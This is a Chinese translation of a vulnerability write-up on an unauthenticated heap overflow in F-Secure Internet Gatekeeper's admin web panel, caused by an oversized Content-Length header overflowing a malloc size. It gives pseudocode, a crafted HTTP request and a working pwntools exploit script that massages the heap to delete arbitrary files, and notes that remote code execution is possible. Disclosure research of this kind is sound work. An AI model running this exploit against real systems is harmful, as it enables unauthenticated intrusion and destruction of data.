這篇文章我會(huì)分析在F-Secure Internet Gatekeeper程序中發(fā)現(xiàn)的漏洞,通過一個(gè)簡(jiǎn)單的bug如何導(dǎo)致可利用的未經(jīng)身份驗(yàn)證的遠(yuǎn)程代碼執(zhí)行漏洞。
[[344263]]
0x01 環(huán)境配置
所有測(cè)試應(yīng)在具有至少1個(gè)處理器和4GB RAM 的CentOS虛擬機(jī)中可重復(fù)進(jìn)行。
需要安裝F-Secure Internet Gatekeeper,可以從https://www.f-secure.com/en/business/downloads/internet-gatekeeper下載。但是據(jù)我們所知,供應(yīng)商不再提供粗存在漏洞的版本。
受影響的程序包具有以下SHA256哈希值:
1582aa7782f78fcf01fccfe0b59f0a26b4a972020f9da860c19c1076a79c8e26。
繼續(xù)安裝:
1. 如果使用的是x64版本的CentOS,請(qǐng)執(zhí)行 yum install glibc.i686;
2. 使用以下命令安裝Internet Gatekeeper文件: rpm -I < fsigkbin >.rpm;
3. 為獲得更好的調(diào)試體驗(yàn),安裝gdb 8+和https://github.com/hugsy/gef。
現(xiàn)在可以使用GHIDRA / IDA反編譯器開始逆向Internet Gatekeeperl了!
0x02 漏洞分析
如F-Secure所述,Internet Gatekeeper是“在網(wǎng)關(guān)級(jí)別針對(duì)企業(yè)網(wǎng)絡(luò)的高效且易于管理的保護(hù)解決方案”。
F-Secure Internet Gatekeeper包含一個(gè)在端口9012 / tcp上運(yùn)行的管理面板。這可用于控制產(chǎn)品中所有可用的服務(wù)和規(guī)則(HTTP代理,IMAP代理等)。這個(gè)管理面板由fsikgwebui二進(jìn)制文件通過HTTP服務(wù),該二進(jìn)制文件是用C編寫的。實(shí)際上,整個(gè)Web服務(wù)器都是用C / C ++編寫的。有一些關(guān)于civetweb的參考,這表明可能正在使用定制版本的CivetWeb。
它是用C / C ++編寫的事實(shí)使我們走上了尋找通常在該語言中常見的內(nèi)存破壞漏洞的道路。
很快,就可以通過使用Fuzzotron對(duì)管理面板進(jìn)行模糊處理來發(fā)現(xiàn)本篇文章中描述的問題,而Fuzzotron使用Radamsa作為底層引擎。fuzzotron內(nèi)置的TCP支持可輕松模糊測(cè)試網(wǎng)絡(luò)服務(wù)。對(duì)于種子,我們提取了一個(gè)有效的POST請(qǐng)求,該請(qǐng)求用于更改管理面板上的語言。該請(qǐng)求可以由未經(jīng)身份驗(yàn)證的用戶執(zhí)行,因此非常適合作為模糊測(cè)試的種子。
分析突變的輸入時(shí),通過radamsa我們可以很快看到漏洞的根本原因是Content-length標(biāo)題。導(dǎo)致軟件崩潰的生成的測(cè)試具有以下標(biāo)頭值:Content-Length: 21487483844,這表明是由于不正確的整數(shù)導(dǎo)致溢出的。
通過在gdb測(cè)試運(yùn)行后,我們發(fā)現(xiàn)導(dǎo)致崩潰的代碼位于fs_httpd_civetweb_callback_begin_request函數(shù)中。此方法負(fù)責(zé)處理傳入的連接,并將它們分配給相關(guān)的函數(shù),具體取決于所使用的HTTP,路徑或cookie。
為了演示該問題,我們將向運(yùn)行管理面板的POST端口9012發(fā)送請(qǐng)求,我們?cè)O(shè)置了很大的Content-Length標(biāo)題值。
- POST /submit HTTP/1.1
- Host: 192.168.0.24:9012
- Content-Length: 21487483844
-
- AAAAAAAAAAAAAAAAAAAAAAAAAAA
該應(yīng)用程序?qū)⒔馕鲈撜?qǐng)求并執(zhí)行該fs_httpd_get_header函數(shù)以檢索內(nèi)容長(zhǎng)度,稍后,內(nèi)容長(zhǎng)度將傳遞給函數(shù)strtoul(String To Unsigned Long)
以下偽代碼提供了控制流的摘要:
- content_len = fs_httpd_get_header(header_struct, "Content-Length");
- if ( content_len ){
- content_len_new = strtoul(content_len_old, 0, 10);
- }
strtoul通過閱讀相應(yīng)的man頁面,可以了解函數(shù)中發(fā)生了什么。返回值 strtoul是一個(gè)無符號(hào)的long int,它可能具有最大值2^32-1(在32位系統(tǒng)上)。
- The strtoul() function returns either the result of the conversion or, if there was a leading minus sign, the negation of the result of the conversion represented as an unsigned value, unless the original (nonnegated) value would overflow; in the latter case, strtoul() returns ULONG_MAX and sets errno to ERANGE. Precisely the same holds for strtoull() (with ULLONG_MAX instead of ULONG_MAX).
由于我們提供的數(shù)據(jù)Content-Length對(duì)于無符號(hào)long int而言太大,因此strtoul將返回對(duì)應(yīng)0xFFFFFFFF于32位系統(tǒng)的ULONG_MAX值。
到目前為止,一切都很好,當(dāng)fs_httpd_civetweb_callback_begin_request函數(shù)嘗試發(fā)出malloc請(qǐng)求以為我們的數(shù)據(jù)騰出空間時(shí),它首先將1加到content_length變量中,然后調(diào)用malloc。
可以在下面的偽代碼中看到:
- // fs_malloc == malloc
- data_by_post_on_heap = fs_malloc(content_len_new + 1)
這會(huì)導(dǎo)致問題,因?yàn)樵撝?xFFFFFFFF + 1將導(dǎo)致整數(shù)溢出,結(jié)果為0x00000000,因此,malloc調(diào)用將分配0字節(jié)的內(nèi)存。
Malloc確實(shí)允許使用0字節(jié)參數(shù)進(jìn)行調(diào)用,當(dāng)malloc(0)為有效的指針的堆空間將被返回,指向一個(gè)分配的0×10字節(jié)的最小塊大小,細(xì)節(jié)也可以在手冊(cè)頁中閱讀:
- The malloc() function allocates size bytes and returns a pointer to the allocated memory. The memory is not initialized. If size is 0, then malloc() returns either NULL, or a unique pointer value that can later be successfully passed to free().
如果我們進(jìn)一步瀏覽Internet Gatekeeper代碼,可以看到對(duì)mg_read的調(diào)用。
- // content_len_new is without the addition of 0x1.
- // so content_len_new == 0xFFFFFFFF
- if(content_len_new){
- int bytes_read = mg_read(header_struct, data_by_post_on_heap, content_len_new)
- }
在溢出期間,此代碼將任意數(shù)量的數(shù)據(jù)讀取到堆上,沒有任何限制。對(duì)于漏洞利用而言,這是一個(gè)很好的原語,因?yàn)槲覀兛梢酝V箤⒆止?jié)寫入HTTP流,并且軟件將關(guān)閉連接,在這種情況下,我們可以完全控制要寫入的字節(jié)數(shù)。
總而言之,我們可以利用Malloc大小為0x10的塊以及任意數(shù)據(jù)的溢出來覆蓋現(xiàn)有的內(nèi)存結(jié)構(gòu),以下PoC證明了這一點(diǎn)。盡管非常原始,但它通過將標(biāo)志翻轉(zhuǎn)到來利用堆上的現(xiàn)有結(jié)構(gòu)should_delete_file = true,然后使用要?jiǎng)h除的文件的完整路徑對(duì)堆進(jìn)行噴射。Internet Gatekeeper內(nèi)部處理程序具有一種decontruct_http用于查找此標(biāo)志并刪除文件的方法。通過利用此漏洞,攻擊者可以獲得任意文件刪除,足以證明漏洞的嚴(yán)重性。
- from pwn import *
- import time
- import sys
-
-
-
- def send_payload(payload, content_len=21487483844, nofun=False):
- r = remote(sys.argv[1], 9012)
- r.send("POST / HTTP/1.1\n")
- r.send("Host: 192.168.0.122:9012\n")
- r.send("Content-Length: {}\n".format(content_len))
- r.send("\n")
- r.send(payload)
- if not nofun:
- r.send("\n\n")
- return r
-
-
- def trigger_exploit():
- print "Triggering exploit"
- payload = ""
- payload += "A" * 12 # Padding
- payload += p32(0x1d) # Fast bin chunk overwrite
- payload += "A"* 488 # Padding
- payload += p32(0xdda00771) # Address of payload
- payload += p32(0xdda00771+4) # Junk
- r = send_payload(payload)
-
-
-
- def massage_heap(filename):
- print "Trying to massage the heap....."
- for x in xrange(100):
- payload = ""
- payload += p32(0x0) # Needed to bypass checks
- payload += p32(0x0) # Needed to bypass checks
- payload += p32(0xdda0077d) # Points to where the filename will be in memory
- payload += filename + "\x00"
- payload += "C"*(0x300-len(payload))
- r = send_payload(payload, content_len=0x80000, nofun=True)
- r.close()
- cut_conn = True
- print "Heap massage done"
-
-
- if __name__ == "__main__":
- if len(sys.argv) != 3:
- print "Usage: ./{} ".format(sys.argv[0])
- print "Run `export PWNLIB_SILENT=1` for disabling verbose connections"
- exit()
- massage_heap(sys.argv[2])
- time.sleep(1)
- trigger_exploit()
- print "Exploit finished. {} is now removed and remote process should be crashed".format(sys.argv[2])
當(dāng)前的漏洞利用可靠性大約占總嘗試次數(shù)的60-70%,我們的漏洞利用PoC依賴于前提條件中列出的特定主機(jī)版本。
可以進(jìn)行RCE,因?yàn)槲覀兛梢钥刂拼_切的塊大小,并覆蓋想要的塊上盡可能多的數(shù)據(jù)。此外,該應(yīng)用程序使用多個(gè)線程,可以利用這些線程進(jìn)入干凈的堆區(qū)域并嘗試多次利用。
此漏洞已在F-Secure Internet Gatekeeper版本5.40 – 5.50修補(bǔ)程序8(2019-07-11)中修復(fù)。
0x03 學(xué)習(xí)堆利用資源
利用
· Linux Heap Exploitation Intro Series: Set you free() – part 1
· Linux Heap Exploitation Intro Series: Set you free() – part 2
GLibC
· GLibC Malloc for Exploiters - YouTube
· Understanding the GLibC Implementation - Part 1
· Understanding the GLibC Implementation - Part 2
工具
· GEF -GDB的附件,此外,它還有一些有用的命令,可進(jìn)行堆漏洞利用調(diào)試
· Villoc -在HTML中圖形化顯示堆
本文翻譯自:https://blog.doyensec.com/2020/02/03/heap-exploit.html如若轉(zhuǎn)載,請(qǐng)注明原文地址: